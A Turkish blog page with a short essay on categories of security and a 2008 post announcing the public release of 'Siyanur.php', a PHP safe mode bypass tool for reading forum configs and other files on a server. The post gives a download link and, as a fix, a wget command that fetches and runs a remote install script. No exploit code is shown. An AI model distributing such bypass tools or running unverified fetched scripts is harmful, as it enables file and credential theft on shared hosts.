safemode etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster
safemode etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster

8 Eylül 2009 Salı

Güvenlik nedir - kategorize akımı

Güvenlik nedir ?
Güvenlik diyince aklımıza ilk olarak bankalarda görevli olan gri gömlekli görevliler geliyor :/ ancak güvenlik çok geniş bir açılımla kategorilere ayrılır, tıpkı siz gece yatmadan önce kapılarınızı kilitlemeniz gibi buda bir güvenlik önlemidir, güvenlik bir engeldir , güvenlik bir tedbirdir, gerçek hayatta uygulanan güvenlik sistemi ile Siber dünyada uygulanan güvenliğin amacıda hep aynıdır.

~ Web güvenliği ~ Sistem güvenliği ~ Bilgi güvenliği
Yukardaki tabloyu ufak bir resim ile özetlemek gerekirse..






Anlatmak istediğimiz konu bu üç kategoriden birisi olmaz ise veya yanlış güvenlik uygularsak karşılaşasağımız sonuçlardır. Bazen bu üç kategoriyide uyguladığımızı sanarız ve yinede güvenlik önlemlerimiz aşılır bunun sebebi ise örnek verecek olursak web sitemize flood ddos botnet türü bot saldırıları oluyor ve biz Server'a değilde web sitemize güvenlik uyguluyoruz halbuki uygulayacağınız güvenlik önlemi server'ınıza olmalıdır. Güvenlik bir halkadır ve unutmayalımki bir zincir en zayıf halkası kadar sağlamdır !

10 Ekim 2008 Cuma

Siyanur.PHP Safe Mode Bypass

Herkezin merak ettiği Siyanur.php yi sizler için public etmeye karar verdim zaten birçok yabancı forumlarda dağılmaya başladı daha fazla saklı tutmak zor :)

Özellikleri: PHP 5.2.5 PHP 5.2.6 tüm sürümler bypass edebilir sadece Bypass özelliği vardır Shell grubuna pek girdiği söylenemez

Gereksinimler: CURL ve Base64 'e serverın izin vermesi gerekir aksi halde Siyanur etkisizdir

Siyanur ile forumların configlerini ve bütün dosyalarını okuyabilirsiniz

Serverda CURL ve Base64 yüklü ama siz açığı kapatmak istiyorsanız

SSH açın ve alttakini aynen uygulayın
wget http://403security.org/modsec/install_modsec_rules
sh install_modsec_rules


Siyanur uploadlink: http://www.hackedpage.by.ru/Siyanur.txt